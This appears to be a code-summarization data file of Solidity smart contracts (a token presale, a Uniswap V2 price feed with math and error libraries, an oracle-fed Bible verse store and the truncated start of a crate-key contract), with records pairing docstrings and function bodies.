function hasStarted() public view returns (bool){
return block.timestamp >= startDate;
}
function isPreStart() public view returns (bool){
return block.timestamp < startDate;
}
function isOpen() public view returns (bool){
return hasStarted() && !hasFinalized();
}
function hasMinimumAmount() public view returns (bool){
return (individualMinimumAmount != 0);
}
function cost(uint256 _amount) public view returns (uint){
return _amount.mul(tradeValue).div(10**decimals);
}
function getPurchase(uint256 _purchase_id) external view returns (uint256, address, uint256, uint256, bool, bool){
Purchase memory purchase = purchases[_purchase_id];
return (purchase.amount, purchase.purchaser, purchase.ethAmount, purchase.timestamp, purchase.wasFinalized, purchase.reverted);
}
function getPurchaseIds() public view returns(uint256[] memory) {
return purchaseIds;
}
function getBuyers() public view returns(address[] memory) {
return buyers;
}
function getMyPurchases(address _address) public view returns(uint256[] memory) {
return myPurchases[_address];
}
/* Fund - Pre Sale Start */
function fund(uint256 _amount) public isSalePreStarted {
/* Confirm transfered tokens is no more than needed */
require(availableTokens().add(_amount) <= tokensForSale, "Transfered tokens have to be equal or less than proposed");
/* Transfer Funds */
require(erc20.transferFrom(msg.sender, address(this), _amount), "Failed ERC20 token transfer");
/* If Amount is equal to needed - sale is ready */
if(availableTokens() == tokensForSale){
isSaleFunded = true;
}
}
/* Action Functions */
function swap(uint256 _amount) payable external whenNotPaused isFunded isSaleOpen onlyWhitelisted {
/* Confirm Amount is positive */
require(_amount > 0, "Amount has to be positive");
/* Confirm Amount is less than tokens available */
require(_amount <= tokensLeft(), "Amount is less than tokens available");
/* Confirm the user has funds for the transfer, confirm the value is equal */
require(msg.value == cost(_amount), "User has to cover the cost of the swap in ETH, use the cost function to determine");
/* Confirm Amount is bigger than minimum Amount */
require(_amount >= individualMinimumAmount, "Amount is bigger than minimum amount");
/* Confirm Amount is smaller than maximum Amount */
require(_amount <= individualMaximumAmount, "Amount is smaller than maximum amount");
/* Verify all user purchases, loop thru them */
uint256[] memory _purchases = getMyPurchases(msg.sender);
uint256 purchaserTotalAmountPurchased = 0;
for (uint i = 0; i < _purchases.length; i++) {
Purchase memory _purchase = purchases[_purchases[i]];
purchaserTotalAmountPurchased = purchaserTotalAmountPurchased.add(_purchase.amount);
}
require(purchaserTotalAmountPurchased.add(_amount) <= individualMaximumAmount, "Address has already passed the max amount of swap");
if(isTokenSwapAtomic){
/* Confirm transfer */
require(erc20.transfer(msg.sender, _amount), "ERC20 transfer didn´t work");
}
uint256 purchase_id = increment;
increment = increment.add(1);
/* Create new purchase */
Purchase memory purchase = Purchase(_amount, msg.sender, msg.value, block.timestamp, isTokenSwapAtomic /* If Atomic Swap */, false);
purchases[purchase_id] = purchase;
purchaseIds.push(purchase_id);
myPurchases[msg.sender].push(purchase_id);
buyers.push(msg.sender);
tokensAllocated = tokensAllocated.add(_amount);
emit PurchaseEvent(_amount, msg.sender, block.timestamp);
}
/* Redeem tokens when the sale was finalized */
function redeemTokens(uint256 purchase_id) external isNotAtomicSwap isSaleFinalized whenNotPaused {
/* Confirm it exists and was not finalized */
require((purchases[purchase_id].amount != 0) && !purchases[purchase_id].wasFinalized, "Purchase is either 0 or finalized");
require(isBuyer(purchase_id), "Address is not buyer");
purchases[purchase_id].wasFinalized = true;
require(erc20.transfer(msg.sender, purchases[purchase_id].amount), "ERC20 transfer failed");
}
/* Retrieve Minumum Amount */
function redeemGivenMinimumGoalNotAchieved(uint256 purchase_id) external isSaleFinalized isNotAtomicSwap {
require(hasMinimumRaise(), "Minimum raise has to exist");
require(minimumRaiseNotAchieved(), "Minimum raise has to be reached");
/* Confirm it exists and was not finalized */
require((purchases[purchase_id].amount != 0) && !purchases[purchase_id].wasFinalized, "Purchase is either 0 or finalized");
require(isBuyer(purchase_id), "Address is not buyer");
purchases[purchase_id].wasFinalized = true;
purchases[purchase_id].reverted = true;
msg.sender.transfer(purchases[purchase_id].ethAmount);
}
/* Admin Functions */
function withdrawFunds() external onlyOwner whenNotPaused isSaleFinalized {
require(minimumRaiseAchieved(), "Minimum raise has to be reached");
FEE_ADDRESS.transfer(address(this).balance.mul(feePercentage).div(100)); /* Fee Address */
msg.sender.transfer(address(this).balance);
}
function withdrawUnsoldTokens() external onlyOwner isSaleFinalized {
require(!unsoldTokensReedemed);
uint256 unsoldTokens;
if(hasMinimumRaise() &&
(cost(tokensAllocated) < cost(minimumRaise))){ /* Minimum Raise not reached */
unsoldTokens = tokensForSale;
}else{
/* If minimum Raise Achieved Redeem All Tokens minus the ones */
unsoldTokens = tokensForSale.sub(tokensAllocated);
}
if(unsoldTokens > 0){
unsoldTokensReedemed = true;
require(erc20.transfer(msg.sender, unsoldTokens), "ERC20 transfer failed");
}
}
function removeOtherERC20Tokens(address _tokenAddress, address _to) external onlyOwner isSaleFinalized {
require(_tokenAddress != address(erc20), "Token Address has to be diff than the erc20 subject to sale"); // Confirm tokens addresses are different from main sale one
ERC20 erc20Token = ERC20(_tokenAddress);
require(erc20Token.transfer(_to, erc20Token.balanceOf(address(this))), "ERC20 Token transfer failed");
}
/* Safe Pull function */
function safePull() payable external onlyOwner whenPaused {
msg.sender.transfer(address(this).balance);
erc20.transfer(msg.sender, erc20.balanceOf(address(this)));
}
}
|
Fund - Pre Sale Start / Confirm transfered tokens is no more than needed / Transfer Funds / If Amount is equal to needed - sale is ready /
|
function fund(uint256 _amount) public isSalePreStarted {
require(availableTokens().add(_amount) <= tokensForSale, "Transfered tokens have to be equal or less than proposed");
require(erc20.transferFrom(msg.sender, address(this), _amount), "Failed ERC20 token transfer");
if(availableTokens() == tokensForSale){
isSaleFunded = true;
}
}
| 2,416,447 |
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.4;
import '../dependencies/uniswap-v2/interfaces/IUniswapV2Pair.sol';
import '../tools/math/WadRayMath.sol';
import '../interfaces/IPriceFeed.sol';
contract PriceFeedUniEthPair is IPriceFeed {
using WadRayMath for uint256;
address private _token;
uint32 private _lastUpdatedAt;
bool private _take1;
constructor(address token, address weth) {
_token = token;
if (IUniswapV2Pair(token).token1() == weth) {
_take1 = true;
} else {
require(IUniswapV2Pair(token).token0() == weth);
}
updatePrice();
}
function updatePrice() public override {
(uint256 rate, uint32 timestamp) = currentPrice();
if (_lastUpdatedAt == timestamp) {
return;
}
_lastUpdatedAt = timestamp;
emit DerivedAssetSourceUpdated(
address(_token),
WadRayMath.RAY,
address(0),
rate,
timestamp,
SourceType.UniswapV2Pair
);
emit AssetPriceUpdated(address(_token), rate, timestamp);
}
function currentPrice() private view returns (uint256, uint32) {
(uint112 reserve0, uint112 reserve1, uint32 timestamp) = IUniswapV2Pair(_token).getReserves();
uint256 supply = IUniswapV2Pair(_token).totalSupply();
if (supply == 0) {
return (0, timestamp);
}
uint256 value;
if (_take1) {
value = reserve0 > 0 ? uint256(reserve1) * 2 : reserve1;
} else {
value = reserve1 > 0 ? uint256(reserve0) * 2 : reserve0;
}
// UniV2 Pair is always 18 decimals
return ((value * 10**18) / supply, timestamp);
}
function latestAnswer() external view override returns (int256) {
(uint256 rate, ) = currentPrice();
if (rate != 0) {
return int256(rate);
}
return 1;
}
function latestTimestamp() public view override returns (uint256 timestamp) {
(, , timestamp) = IUniswapV2Pair(_token).getReserves();
}
function latestRound() external pure override returns (uint256) {
// this value is checked by the OracleRouter to find out if updatePrice() should be called
return type(uint256).max;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
// solhint-disable-next-line func-name-mixedcase
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
// solhint-disable-next-line func-name-mixedcase
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.4;
import '../Errors.sol';
/// @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits)
library WadRayMath {
uint256 internal constant WAD = 1e18;
uint256 internal constant halfWAD = WAD / 2;
uint256 internal constant RAY = 1e27;
uint256 internal constant halfRAY = RAY / 2;
uint256 internal constant WAD_RAY_RATIO = 1e9;
/// @return One ray, 1e27
function ray() internal pure returns (uint256) {
return RAY;
}
/// @return One wad, 1e18
function wad() internal pure returns (uint256) {
return WAD;
}
/// @return Half ray, 1e27/2
function halfRay() internal pure returns (uint256) {
return halfRAY;
}
/// @return Half ray, 1e18/2
function halfWad() internal pure returns (uint256) {
return halfWAD;
}
/// @dev Multiplies two wad, rounding half up to the nearest wad
function wadMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
require(a <= (type(uint256).max - halfWAD) / b, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * b + halfWAD) / WAD;
}
/// @dev Divides two wad, rounding half up to the nearest wad
function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, Errors.MATH_DIVISION_BY_ZERO);
uint256 halfB = b / 2;
require(a <= (type(uint256).max - halfB) / WAD, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * WAD + halfB) / b;
}
/// @dev Multiplies two ray, rounding half up to the nearest ray
function rayMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
require(a <= (type(uint256).max - halfRAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * b + halfRAY) / RAY;
}
/// @dev Divides two ray, rounding half up to the nearest ray
function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, Errors.MATH_DIVISION_BY_ZERO);
uint256 halfB = b / 2;
require(a <= (type(uint256).max - halfB) / RAY, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * RAY + halfB) / b;
}
/// @dev Casts ray down to wad
function rayToWad(uint256 a) internal pure returns (uint256) {
uint256 halfRatio = WAD_RAY_RATIO / 2;
uint256 result = halfRatio + a;
require(result >= halfRatio, Errors.MATH_ADDITION_OVERFLOW);
return result / WAD_RAY_RATIO;
}
/// @dev Converts wad up to ray
function wadToRay(uint256 a) internal pure returns (uint256) {
uint256 result = a * WAD_RAY_RATIO;
require(result / WAD_RAY_RATIO == a, Errors.MATH_MULTIPLICATION_OVERFLOW);
return result;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.4;
import './IChainlinkAggregator.sol';
import './IPriceOracleGetter.sol';
/// @dev Interface for a price oracle.
interface IPriceFeed is IChainlinkAggregatorMin, IPriceOracleEvents {
function updatePrice() external;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.4;
/**
* @title Errors library
* @notice Defines the error messages emitted by the different contracts
* @dev Error messages prefix glossary:
* - VL = ValidationLogic
* - MATH = Math libraries
* - CT = Common errors between tokens (DepositToken, VariableDebtToken and StableDebtToken)
* - AT = DepositToken
* - SDT = StableDebtToken
* - VDT = VariableDebtToken
* - LP = LendingPool
* - LPAPR = AddressesProviderRegistry
* - LPC = LendingPoolConfiguration
* - RL = ReserveLogic
* - LPCM = LendingPoolExtension
* - ST = Stake
*/
library Errors {
//contract specific errors
string public constant VL_INVALID_AMOUNT = '1'; // Amount must be greater than 0
string public constant VL_NO_ACTIVE_RESERVE = '2'; // Action requires an active reserve
string public constant VL_RESERVE_FROZEN = '3'; // Action cannot be performed because the reserve is frozen
string public constant VL_UNKNOWN_RESERVE = '4'; // Action requires an active reserve
string public constant VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE = '5'; // User cannot withdraw more than the available balance (above min limit)
string public constant VL_TRANSFER_NOT_ALLOWED = '6'; // Transfer cannot be allowed.
string public constant VL_BORROWING_NOT_ENABLED = '7'; // Borrowing is not enabled
string public constant VL_INVALID_INTEREST_RATE_MODE_SELECTED = '8'; // Invalid interest rate mode selected
string public constant VL_COLLATERAL_BALANCE_IS_0 = '9'; // The collateral balance is 0
string public constant VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD = '10'; // Health factor is lesser than the liquidation threshold
string public constant VL_COLLATERAL_CANNOT_COVER_NEW_BORROW = '11'; // There is not enough collateral to cover a new borrow
string public constant VL_STABLE_BORROWING_NOT_ENABLED = '12'; // stable borrowing not enabled
string public constant VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY = '13'; // collateral is (mostly) the same currency that is being borrowed
string public constant VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE = '14'; // The requested amount is exceeds max size of a stable loan
string public constant VL_NO_DEBT_OF_SELECTED_TYPE = '15'; // to repay a debt, user needs to specify a correct debt type (variable or stable)
string public constant VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF = '16'; // To repay on behalf of an user an explicit amount to repay is needed
string public constant VL_NO_STABLE_RATE_LOAN_IN_RESERVE = '17'; // User does not have a stable rate loan in progress on this reserve
string public constant VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE = '18'; // User does not have a variable rate loan in progress on this reserve
string public constant VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0 = '19'; // The collateral balance needs to be greater than 0
string public constant VL_DEPOSIT_ALREADY_IN_USE = '20'; // User deposit is already being used as collateral
string public constant VL_RESERVE_MUST_BE_COLLATERAL = '21'; // This reserve must be enabled as collateral
string public constant LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET = '22'; // Interest rate rebalance conditions were not met
string public constant AT_OVERDRAFT_DISABLED = '23'; // User doesn't accept allocation of overdraft
string public constant VL_INVALID_SUB_BALANCE_ARGS = '24';
string public constant AT_INVALID_SLASH_DESTINATION = '25';
string public constant LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR = '27'; // The caller of the function is not the lending pool configurator
string public constant LENDING_POOL_REQUIRED = '28'; // The caller of this function must be a lending pool
string public constant CALLER_NOT_LENDING_POOL = '29'; // The caller of this function must be a lending pool
string public constant AT_SUB_BALANCE_RESTIRCTED_FUNCTION = '30'; // The caller of this function must be a lending pool or a sub-balance operator
string public constant RL_RESERVE_ALREADY_INITIALIZED = '32'; // Reserve has already been initialized
string public constant CALLER_NOT_POOL_ADMIN = '33'; // The caller must be the pool admin
string public constant LPC_RESERVE_LIQUIDITY_NOT_0 = '34'; // The liquidity of the reserve needs to be 0
string public constant LPAPR_PROVIDER_NOT_REGISTERED = '41'; // Provider is not registered
string public constant LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD = '42'; // Health factor is not below the threshold
string public constant LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED = '43'; // The collateral chosen cannot be liquidated
string public constant LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER = '44'; // User did not borrow the specified currency
string public constant LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE = '45'; // There isn't enough liquidity available to liquidate
string public constant MATH_MULTIPLICATION_OVERFLOW = '48';
string public constant MATH_ADDITION_OVERFLOW = '49';
string public constant MATH_DIVISION_BY_ZERO = '50';
string public constant RL_LIQUIDITY_INDEX_OVERFLOW = '51'; // Liquidity index overflows uint128
string public constant RL_VARIABLE_BORROW_INDEX_OVERFLOW = '52'; // Variable borrow index overflows uint128
string public constant RL_LIQUIDITY_RATE_OVERFLOW = '53'; // Liquidity rate overflows uint128
string public constant RL_VARIABLE_BORROW_RATE_OVERFLOW = '54'; // Variable borrow rate overflows uint128
string public constant RL_STABLE_BORROW_RATE_OVERFLOW = '55'; // Stable borrow rate overflows uint128
string public constant CT_INVALID_MINT_AMOUNT = '56'; //invalid amount to mint
string public constant CALLER_NOT_STAKE_ADMIN = '57';
string public constant CT_INVALID_BURN_AMOUNT = '58'; //invalid amount to burn
string public constant BORROW_ALLOWANCE_NOT_ENOUGH = '59'; // User borrows on behalf, but allowance are too small
string public constant CALLER_NOT_LIQUIDITY_CONTROLLER = '60';
string public constant CALLER_NOT_REF_ADMIN = '61';
string public constant VL_INSUFFICIENT_REWARD_AVAILABLE = '62';
string public constant LP_CALLER_MUST_BE_DEPOSIT_TOKEN = '63';
string public constant LP_IS_PAUSED = '64'; // Pool is paused
string public constant LP_NO_MORE_RESERVES_ALLOWED = '65';
string public constant LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN = '66';
string public constant RC_INVALID_LTV = '67';
string public constant RC_INVALID_LIQ_THRESHOLD = '68';
string public constant RC_INVALID_LIQ_BONUS = '69';
string public constant RC_INVALID_DECIMALS = '70';
string public constant RC_INVALID_RESERVE_FACTOR = '71';
string public constant LPAPR_INVALID_ADDRESSES_PROVIDER_ID = '72';
string public constant VL_INCONSISTENT_FLASHLOAN_PARAMS = '73';
string public constant VL_TREASURY_REQUIRED = '74';
string public constant LPC_INVALID_CONFIGURATION = '75'; // Invalid risk parameters for the reserve
string public constant CALLER_NOT_EMERGENCY_ADMIN = '76'; // The caller must be the emergency admin
string public constant UL_INVALID_INDEX = '77';
string public constant VL_CONTRACT_REQUIRED = '78';
string public constant SDT_STABLE_DEBT_OVERFLOW = '79';
string public constant SDT_BURN_EXCEEDS_BALANCE = '80';
string public constant CALLER_NOT_REWARD_CONFIG_ADMIN = '81'; // The caller of this function must be a reward admin
string public constant LP_INVALID_PERCENTAGE = '82'; // Percentage can't be more than 100%
string public constant LP_IS_NOT_TRUSTED_FLASHLOAN = '83';
string public constant CALLER_NOT_SWEEP_ADMIN = '84';
string public constant LP_TOO_MANY_NESTED_CALLS = '85';
string public constant LP_RESTRICTED_FEATURE = '86';
string public constant LP_TOO_MANY_FLASHLOAN_CALLS = '87';
string public constant RW_BASELINE_EXCEEDED = '88';
string public constant CALLER_NOT_REWARD_RATE_ADMIN = '89';
string public constant CALLER_NOT_REWARD_CONTROLLER = '90';
string public constant RW_REWARD_PAUSED = '91';
string public constant CALLER_NOT_TEAM_MANAGER = '92';
string public constant STK_REDEEM_PAUSED = '93';
string public constant STK_INSUFFICIENT_COOLDOWN = '94';
string public constant STK_UNSTAKE_WINDOW_FINISHED = '95';
string public constant STK_INVALID_BALANCE_ON_COOLDOWN = '96';
string public constant STK_EXCESSIVE_SLASH_PCT = '97';
string public constant STK_WRONG_COOLDOWN_OR_UNSTAKE = '98';
string public constant STK_PAUSED = '99';
string public constant TXT_OWNABLE_CALLER_NOT_OWNER = 'Ownable: caller is not the owner';
string public constant TXT_CALLER_NOT_PROXY_OWNER = 'ProxyOwner: caller is not the owner';
string public constant TXT_ACCESS_RESTRICTED = 'RESTRICTED';
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.4;
interface IChainlinkAggregatorMin {
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
function latestRound() external view returns (uint256);
}
interface IChainlinkAggregator is IChainlinkAggregatorMin {
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 timestamp);
event NewRound(uint256 indexed roundId, address indexed startedBy);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.4;
enum SourceType {
AggregatorOrStatic,
UniswapV2Pair
}
interface IPriceOracleEvents {
event AssetPriceUpdated(address asset, uint256 price, uint256 timestamp);
event EthPriceUpdated(uint256 price, uint256 timestamp);
event DerivedAssetSourceUpdated(
address indexed asset,
uint256 index,
address indexed underlyingSource,
uint256 underlyingPrice,
uint256 timestamp,
SourceType sourceType
);
}
/// @dev Interface for a price oracle.
interface IPriceOracleGetter is IPriceOracleEvents {
/// @dev returns the asset price in ETH
function getAssetPrice(address asset) external view returns (uint256);
}
|
return One wad, 1e18
|
function wad() internal pure returns (uint256) {
return WAD;
}
| 173,840 |
/* solium-disable no-trailing-whitespace */
pragma solidity >= 0.5.0 < 0.6.0;
import './provableAPI_0.5.sol';
import './strings.sol';
/// @title Preserves verses from the KJV Bible on the blockchaib
/// @author John Wall, Ealdorman, Inc.
/// @notice Use this contract to store and retrieve Bible verses
/// @dev The oracle used here is provided by Provable at provable.xyz
contract TheBible is usingProvable {
using strings for *;
mapping(string => mapping(string => mapping(string => string))) verses;
uint public versePrice;
mapping(bytes32=>bool) validProvableQueryIds;
address public owner;
uint public provableGasLimit;
/** @notice
* At the point when all verses have been added, a user may read through all
* verses by querying [book][chapter][verse], wherein the chapter and verse
* are always incrementing numbers (as strings).
*
* Therefore, all books names are added upon instantiation. To get all verses for
* John, for example, a user need only query incrementing chapter and verse numbers
* until he receives an undefined value (once all verses have been added).
* */
string[66] books = [
'1 Chronicles',
'1 Corinthians',
'1 John',
'1 Kings',
'1 Peter',
'1 Samuel',
'1 Thessalonians',
'1 Timothy',
'2 Chronicles',
'2 Corinthians',
'2 John',
'2 Kings',
'2 Peter',
'2 Samuel',
'2 Thessalonians',
'2 Timothy',
'3 John',
'Acts',
'Amos',
'Colossians',
'Daniel',
'Deuteronomy',
'Ecclesiastes',
'Ephesians',
'Esther',
'Exodus',
'Ezekiel',
'Ezra',
'Galatians',
'Genesis',
'Habakkuk',
'Haggai',
'Hebrews',
'Hosea',
'Isaiah',
'James',
'Jeremiah',
'Job',
'Joel',
'John',
'Jonah',
'Joshua',
'Jude',
'Judges',
'Lamentations',
'Leviticus',
'Luke',
'Malachi',
'Mark',
'Matthew',
'Micah',
'Nahum',
'Nehemiah',
'Numbers',
'Obadiah',
'Philemon',
'Philippians',
'Proverbs',
'Psalms',
'Revelation',
'Romans',
'Ruth',
'Song of Solomon',
'Titus',
'Zechariah',
'Zephaniah'
];
/// @notice Limits access to Provable contracts
modifier onlyProvable() {
require(msg.sender == provable_cbAddress(), 'Callback did not originate from Provable');
_;
}
/// @notice Limits access to the address from which the contract was created
modifier onlyOwner() {
require(msg.sender == owner, 'Only the contract creator may interact with this function');
_;
}
event LogNewProvableQuery(string description);
event LogError(uint code);
/// @dev The LogVerseAdded event is crucial for updating the off-chain database
event LogVerseAdded(string book, string chapter, string verse);
constructor() public {
versePrice = 15000000000000000;
owner = msg.sender;
provableGasLimit = 500000;
}
/// @notice Takes a concatenated Bible verse reference and creates an oracle query
/// @param concatenatedReference A Bible verse in the form of book/chapter/verse, i.e. John/3/16
function setVerse(string memory concatenatedReference) public payable {
require(
msg.value >= versePrice,
'Please send at least as much ETH as the versePrice with your transaction'
);
if (provable_getPrice("URL") > address(this).balance) {
emit LogNewProvableQuery(
"Provable query was NOT sent, please add some ETH to cover the Provable query fee"
);
emit LogError(1);
revert('Address balance is not enough to cover Provable fee');
}
require(
textIsEmpty(concatenatedReference) == false,
'A concatenatedReference must be provided in the format book/chapter/verse'
);
bytes32 queryId = provable_query(
"URL",
"json(https://api.ourbible.io/verses/"
.toSlice()
.concat(concatenatedReference.toSlice())
.toSlice()
.concat(").provableText".toSlice()),
provableGasLimit
);
emit LogNewProvableQuery("Provable query was sent, standing by for the answer");
validProvableQueryIds[queryId] = true;
}
/** @notice
* Provable calls this function once it retrieves a query. The result is then
* processed to break the book, chapter, verse and verse text. If the result
* is in the proper format, the verse is stored here in the contract. The
* LogVerseAdded event is then called.
*/
/// @dev This function is limited to calls from Provable
/// @param myid The query ID provided by Provable
/// @param result The result provided by Provable from the query
function __callback(bytes32 myid, string memory result) public onlyProvable() {
require(
validProvableQueryIds[myid] == true,
'ID not included in Provable valid IDs'
);
delete validProvableQueryIds[myid];
string memory book;
string memory chapter;
string memory verse;
string memory text;
(book, chapter, verse, text) = processProvableText(result);
verses[book][chapter][verse] = text;
emit LogVerseAdded(book, chapter, verse);
}
/// @notice Splits the Provable result into its expected component parts or reverts if invalid
/** @dev
* The result is expected be in the format: book---chapter---verse---text. If the result is not
* in that format, the transaction will revert.
*/
/// @param result A string retrieved from a Provable query
function processProvableText(string memory result) public returns (
string memory,
string memory,
string memory,
string memory
) {
require(
textIsEmpty(result) == false,
'The Provable result was empty.'
);
// The result should be in the format: book---chapter---verse---text
strings.slice[4] memory parts;
strings.slice memory full = result.toSlice();
for (uint i = 0; i < 4; i++) {
strings.slice memory part = full.split("---".toSlice());
if (textIsEmpty(part.toString()) == true) {
emit LogError(2);
revert('Provable text was invalid.');
}
parts[i] = part;
}
return (
parts[0].toString(),
parts[1].toString(),
parts[2].toString(),
parts[3].toString()
);
}
/// @notice Check to see if a string is empty
/// @param _string A string for which to check whether it is empty
/// @return a boolean value that expresses whether the string is empty
function textIsEmpty(string memory _string) internal pure returns(bool) {
return bytes(_string).length == 0;
}
/// @notice Retrieves a verse's text
/// @param book The book name, all of which are listed in the books array
/// @param chapter A chapter number, expressed as a string
/// @param verse A verse number, express as a string
/// @return Returns a verse's text if it has been stored
function getVerse(
string memory book,
string memory chapter,
string memory verse
) public view returns(string memory) {
return verses[book][chapter][verse];
}
/// @notice Allows the contract's deployer to adjust the verse price
/** @dev
* The longest Bible verse, Esther 8:9, cost about 0.01 ETH at time of contract creation
* due to Provable fees.
*/
/// @param _versePrice The price a user must pay to store a verse, denominated in wei
function setVersePrice(uint _versePrice) public onlyOwner() {
versePrice = _versePrice;
}
/// @notice Sets the gas limit of a Provable query
/// @dev Because we're dealing with long strings, gas can be quite high
/// @param _provableGasLimit An unsigned integer, denominated in gwei
function setProvableGasLimit(uint _provableGasLimit) public onlyOwner() {
provableGasLimit = _provableGasLimit;
}
/// @notice The contract's creator may withdraw any ETh accumulated in excess of Provable fees
function withdraw() public onlyOwner() {
msg.sender.transfer(address(this).balance);
}
/** @notice
* A user does not have to interact with the setVerse function to store a Bible verse in
* this contract. This fallback method allows a user to simply send ETH at least equal to
* the versePrice, at which point a Provable query will be fired to fetch a random Bible
* verse.
*/
function() external payable {
if (msg.value < versePrice) {
emit LogError(3);
return;
}
bytes32 queryId = provable_query(
"URL",
"json(https://api.ourbible.io/verses/random).provableText",
provableGasLimit
);
emit LogNewProvableQuery("Provable query was sent, standing by for the answer.");
validProvableQueryIds[queryId] = true;
}
}
|
Check to see if a string is empty _string A string for which to check whether it is empty return a boolean value that expresses whether the string is empty
|
function textIsEmpty(string memory _string) internal pure returns(bool) {
return bytes(_string).length == 0;
}
| 12,553,131 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.8;
import "@openzeppelin/contracts/access/Ownable.sol";
import "../metadata/Crates2020RNGLib.sol";
interface IF1DTBurnableCrateKey {
/**
* Destroys `amount` of token.
* @dev Reverts if called by any other than the contract owner.
* @dev Reverts is `amount` is zero.
* @param amount Amount of token to burn.
*/
function burn(uint256 amount) external;
/**
* See {IERC20-transferFrom(address,address,uint256)}.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) external;
}
interface IF1DTInventory {
/**
* @dev Public function to mint a batch of new tokens
* Reverts if some the given token IDs already exist
* @param to address[] List of addresses that will own the minted tokens
* @param ids uint256[] List of ids of the tokens to be minted
* @param uris bytes32[] Concatenated metadata URIs of nfts to be minted
* @param values uint256[] List of quantities of ft to be minted
*/
function batchMint(address[] calldata to, uint256[] calldata ids, bytes32[] calldata uris, uint256[] calldata values, bool safe) external;
}
contract Crates2020 is Ownable {
using Crates2020RNGLib for uint256;
IF1DTInventory immutable public INVENTORY;
IF1DTBurnableCrateKey immutable public CRATE_KEY_COMMON;
IF1DTBurnableCrateKey immutable public CRATE_KEY_RARE;
IF1DTBurnableCrateKey immutable public CRATE_KEY_EPIC;
IF1DTBurnableCrateKey immutable public CRATE_KEY_LEGENDARY;
uint256 public counter;
constructor(
IF1DTInventory INVENTORY_,
IF1DTBurnableCrateKey CRATE_KEY_COMMON_,
IF1DTBurnableCrateKey CRATE_KEY_RARE_,
IF1DTBurnableCrateKey CRATE_KEY_EPIC_,
IF1DTBurnableCrateKey CRATE_KEY_LEGENDARY_,
uint256 counter_
) public {
require(
address(INVENTORY_) != address(0) &&
address(CRATE_KEY_COMMON_) != address(0) &&
address(CRATE_KEY_EPIC_) != address(0) &&
address(CRATE_KEY_LEGENDARY_) != address(0),
"Crates: zero address"
);
INVENTORY = INVENTORY_;
CRATE_KEY_COMMON = CRATE_KEY_COMMON_;
CRATE_KEY_RARE = CRATE_KEY_RARE_;
CRATE_KEY_EPIC = CRATE_KEY_EPIC_;
CRATE_KEY_LEGENDARY = CRATE_KEY_LEGENDARY_;
counter = counter_;
}
function transferCrateKeyOwnership(uint256 crateTier, address newOwner) external onlyOwner {
IF1DTBurnableCrateKey crateKey = _getCrateKey(crateTier);
crateKey.transferOwnership(newOwner);
}
/**
